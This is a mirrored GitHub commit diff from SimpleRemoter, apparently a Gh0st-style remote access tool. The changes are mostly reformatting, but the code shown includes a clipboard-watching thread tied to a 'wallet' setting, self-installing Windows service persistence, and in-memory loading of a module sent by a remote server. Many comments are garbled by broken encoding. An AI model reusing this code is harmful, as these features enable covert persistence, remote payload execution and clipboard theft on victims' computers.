mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Improve master efficiency by using asynchronous message processing
This commit is contained in:
@@ -33,8 +33,8 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
#endif
|
||||
|
||||
// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
||||
if (m_hWorkThread == NULL) {
|
||||
|
||||
@@ -486,18 +486,17 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||
while (pThis->m_bIsWorking) {
|
||||
auto w = pThis->GetWallet();
|
||||
if (w.empty()){
|
||||
if (w.empty()) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
bool hasClipboard = false;
|
||||
try {
|
||||
hasClipboard = clip::has(clip::text_format());
|
||||
}
|
||||
catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
hasClipboard = false;
|
||||
Sleep(3000);
|
||||
}
|
||||
}
|
||||
if (hasClipboard) {
|
||||
std::string value;
|
||||
clip::get_text(value);
|
||||
|
||||
@@ -8,12 +8,12 @@
|
||||
#define Log(p) ServiceWriteLog(p, "C:\\GhostService.log")
|
||||
#else
|
||||
#define Mprintf(format, ...)
|
||||
#define Log(p)
|
||||
#define Log(p)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// 静态变量
|
||||
static MyService g_MyService =
|
||||
static MyService g_MyService =
|
||||
{ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality."};
|
||||
|
||||
static SERVICE_STATUS g_ServiceStatus = { 0 };
|
||||
@@ -24,7 +24,8 @@ static HANDLE g_StopEvent = NULL;
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||
|
||||
void InitWindowsService(MyService info){
|
||||
void InitWindowsService(MyService info)
|
||||
{
|
||||
memcpy(&g_MyService, &info, sizeof(MyService));
|
||||
}
|
||||
|
||||
@@ -343,8 +344,8 @@ BOOL ServiceWrapper_Install(void)
|
||||
if (schService) {
|
||||
Mprintf("SUCCESS: Service is already installed\n");
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
return TRUE;
|
||||
CloseServiceHandle(schSCManager);
|
||||
return TRUE;
|
||||
}
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied. Please run as Administrator\n");
|
||||
@@ -489,97 +490,93 @@ void ServiceWrapper_Uninstall(void)
|
||||
|
||||
void PrintUsage()
|
||||
{
|
||||
Mprintf("Usage:\n");
|
||||
Mprintf(" -install Install as Windows service\n");
|
||||
Mprintf(" -uninstall Uninstall service\n");
|
||||
Mprintf(" -service Run as service\n");
|
||||
Mprintf(" -agent Run as agent\n");
|
||||
Mprintf(" default Run as normal application\n");
|
||||
Mprintf("\n");
|
||||
Mprintf("Usage:\n");
|
||||
Mprintf(" -install Install as Windows service\n");
|
||||
Mprintf(" -uninstall Uninstall service\n");
|
||||
Mprintf(" -service Run as service\n");
|
||||
Mprintf(" -agent Run as agent\n");
|
||||
Mprintf(" default Run as normal application\n");
|
||||
Mprintf("\n");
|
||||
}
|
||||
|
||||
// 从服务路径中提取可执行文件路径(去除引号和参数)
|
||||
static void ExtractExePath(const char* input, char* output, size_t outSize)
|
||||
{
|
||||
const char* start = input;
|
||||
const char* end;
|
||||
size_t len;
|
||||
const char* start = input;
|
||||
const char* end;
|
||||
size_t len;
|
||||
|
||||
if (outSize == 0) return;
|
||||
output[0] = '\0';
|
||||
if (outSize == 0) return;
|
||||
output[0] = '\0';
|
||||
|
||||
// 跳过开头的引号
|
||||
if (*start == '"') {
|
||||
start++;
|
||||
end = strchr(start, '"');
|
||||
if (!end) end = start + strlen(start);
|
||||
} else {
|
||||
// 找到第一个空格(参数分隔)或字符串结尾
|
||||
end = strchr(start, ' ');
|
||||
if (!end) end = start + strlen(start);
|
||||
}
|
||||
// 跳过开头的引号
|
||||
if (*start == '"') {
|
||||
start++;
|
||||
end = strchr(start, '"');
|
||||
if (!end) end = start + strlen(start);
|
||||
} else {
|
||||
// 找到第一个空格(参数分隔)或字符串结尾
|
||||
end = strchr(start, ' ');
|
||||
if (!end) end = start + strlen(start);
|
||||
}
|
||||
|
||||
len = end - start;
|
||||
if (len >= outSize) len = outSize - 1;
|
||||
len = end - start;
|
||||
if (len >= outSize) len = outSize - 1;
|
||||
|
||||
strncpy(output, start, len);
|
||||
output[len] = '\0';
|
||||
strncpy(output, start, len);
|
||||
output[len] = '\0';
|
||||
}
|
||||
|
||||
BOOL RunAsWindowsService(int argc, const char* argv[])
|
||||
{
|
||||
if (argc == 1) { // 无参数时,作为服务启动
|
||||
BOOL registered = FALSE;
|
||||
BOOL running = FALSE;
|
||||
char servicePath[MAX_PATH] = { 0 };
|
||||
char serviceExePath[MAX_PATH] = { 0 };
|
||||
char curPath[MAX_PATH] = { 0 };
|
||||
if (argc == 1) { // 无参数时,作为服务启动
|
||||
BOOL registered = FALSE;
|
||||
BOOL running = FALSE;
|
||||
char servicePath[MAX_PATH] = { 0 };
|
||||
char serviceExePath[MAX_PATH] = { 0 };
|
||||
char curPath[MAX_PATH] = { 0 };
|
||||
|
||||
ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||
ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
GetModuleFileName(NULL, curPath, MAX_PATH);
|
||||
|
||||
// 从服务路径中提取可执行文件路径(去除引号和参数)
|
||||
ExtractExePath(servicePath, serviceExePath, MAX_PATH);
|
||||
// 从服务路径中提取可执行文件路径(去除引号和参数)
|
||||
ExtractExePath(servicePath, serviceExePath, MAX_PATH);
|
||||
|
||||
// 使用不区分大小写的比较
|
||||
if (registered && _stricmp(curPath, serviceExePath) != 0) {
|
||||
Mprintf("RunAsWindowsService Uninstall: %s\n", servicePath);
|
||||
ServiceWrapper_Uninstall();
|
||||
registered = FALSE;
|
||||
}
|
||||
if (!registered) {
|
||||
Mprintf("RunAsWindowsService Install: %s\n", curPath);
|
||||
return ServiceWrapper_Install();
|
||||
} else if (!running) {
|
||||
int r = ServiceWrapper_Run();
|
||||
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
if (r) {
|
||||
r = ServiceWrapper_StartSimple();
|
||||
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
// 使用不区分大小写的比较
|
||||
if (registered && _stricmp(curPath, serviceExePath) != 0) {
|
||||
Mprintf("RunAsWindowsService Uninstall: %s\n", servicePath);
|
||||
ServiceWrapper_Uninstall();
|
||||
registered = FALSE;
|
||||
}
|
||||
if (!registered) {
|
||||
Mprintf("RunAsWindowsService Install: %s\n", curPath);
|
||||
return ServiceWrapper_Install();
|
||||
} else if (!running) {
|
||||
int r = ServiceWrapper_Run();
|
||||
Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
if (r) {
|
||||
r = ServiceWrapper_StartSimple();
|
||||
Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
return r == ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
} else if (argc > 1) {
|
||||
if (_stricmp(argv[1], "-install") == 0) {
|
||||
return ServiceWrapper_Install();
|
||||
}
|
||||
else if (_stricmp(argv[1], "-uninstall") == 0) {
|
||||
ServiceWrapper_Uninstall();
|
||||
return TRUE;
|
||||
}
|
||||
else if (_stricmp(argv[1], "-service") == 0) {
|
||||
return ServiceWrapper_Run() == ERROR_SUCCESS;
|
||||
}
|
||||
else if (_stricmp(argv[1], "-agent") == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
|
||||
PrintUsage();
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
} else if (argc > 1) {
|
||||
if (_stricmp(argv[1], "-install") == 0) {
|
||||
return ServiceWrapper_Install();
|
||||
} else if (_stricmp(argv[1], "-uninstall") == 0) {
|
||||
ServiceWrapper_Uninstall();
|
||||
return TRUE;
|
||||
} else if (_stricmp(argv[1], "-service") == 0) {
|
||||
return ServiceWrapper_Run() == ERROR_SUCCESS;
|
||||
} else if (_stricmp(argv[1], "-agent") == 0) {
|
||||
return FALSE;
|
||||
} else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) {
|
||||
PrintUsage();
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct MyService {
|
||||
char Name[256];
|
||||
char Display[256];
|
||||
char Description[512];
|
||||
char Name[256];
|
||||
char Display[256];
|
||||
char Description[512];
|
||||
} MyService;
|
||||
|
||||
#ifdef __cplusplus
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
#ifdef _DEBUG
|
||||
#define SessionLog(p) ServiceWriteLog(p, "C:\\SessionMonitor.log")
|
||||
#else
|
||||
#define SessionLog(p)
|
||||
#define SessionLog(p)
|
||||
#endif
|
||||
|
||||
// ǰ<><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -91,18 +91,18 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
|
||||
// ============================================
|
||||
void ServiceWriteLog(const char* message, const char* filename)
|
||||
{
|
||||
FILE* f;
|
||||
SYSTEMTIME st;
|
||||
FILE* f;
|
||||
SYSTEMTIME st;
|
||||
|
||||
f = fopen(filename, "a");
|
||||
if (f) {
|
||||
GetLocalTime(&st);
|
||||
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
|
||||
st.wYear, st.wMonth, st.wDay,
|
||||
st.wHour, st.wMinute, st.wSecond,
|
||||
message);
|
||||
fclose(f);
|
||||
}
|
||||
f = fopen(filename, "a");
|
||||
if (f) {
|
||||
GetLocalTime(&st);
|
||||
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
|
||||
st.wYear, st.wMonth, st.wDay,
|
||||
st.wHour, st.wMinute, st.wSecond,
|
||||
message);
|
||||
fclose(f);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
|
||||
@@ -189,10 +189,10 @@ public:
|
||||
memset(addr->szFlag, 0, sizeof(addr->szFlag));
|
||||
strcpy(addr->szServerIP, g_ConnectAddress.ServerIP());
|
||||
sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort());
|
||||
addr->iStartup = g_ConnectAddress.iStartup;
|
||||
addr->iHeaderEnc = g_ConnectAddress.iHeaderEnc;
|
||||
addr->protoType = g_ConnectAddress.protoType;
|
||||
addr->runningType = g_ConnectAddress.runningType;
|
||||
addr->iStartup = g_ConnectAddress.iStartup;
|
||||
addr->iHeaderEnc = g_ConnectAddress.iHeaderEnc;
|
||||
addr->protoType = g_ConnectAddress.protoType;
|
||||
addr->runningType = g_ConnectAddress.runningType;
|
||||
strcpy(addr->szGroupName, g_ConnectAddress.szGroupName);
|
||||
}
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
@@ -231,15 +231,15 @@ int main(int argc, const char *argv[])
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
if (isService) {
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
if (isService) {
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
for (int i = 0; !ret && i < argc; i++) {
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
}
|
||||
if (ret) return 0x20251202;
|
||||
if (ret) return 0x20251202;
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
}
|
||||
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
@@ -290,8 +290,8 @@ int main(int argc, const char *argv[])
|
||||
|
||||
do {
|
||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||
if (ret == 1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user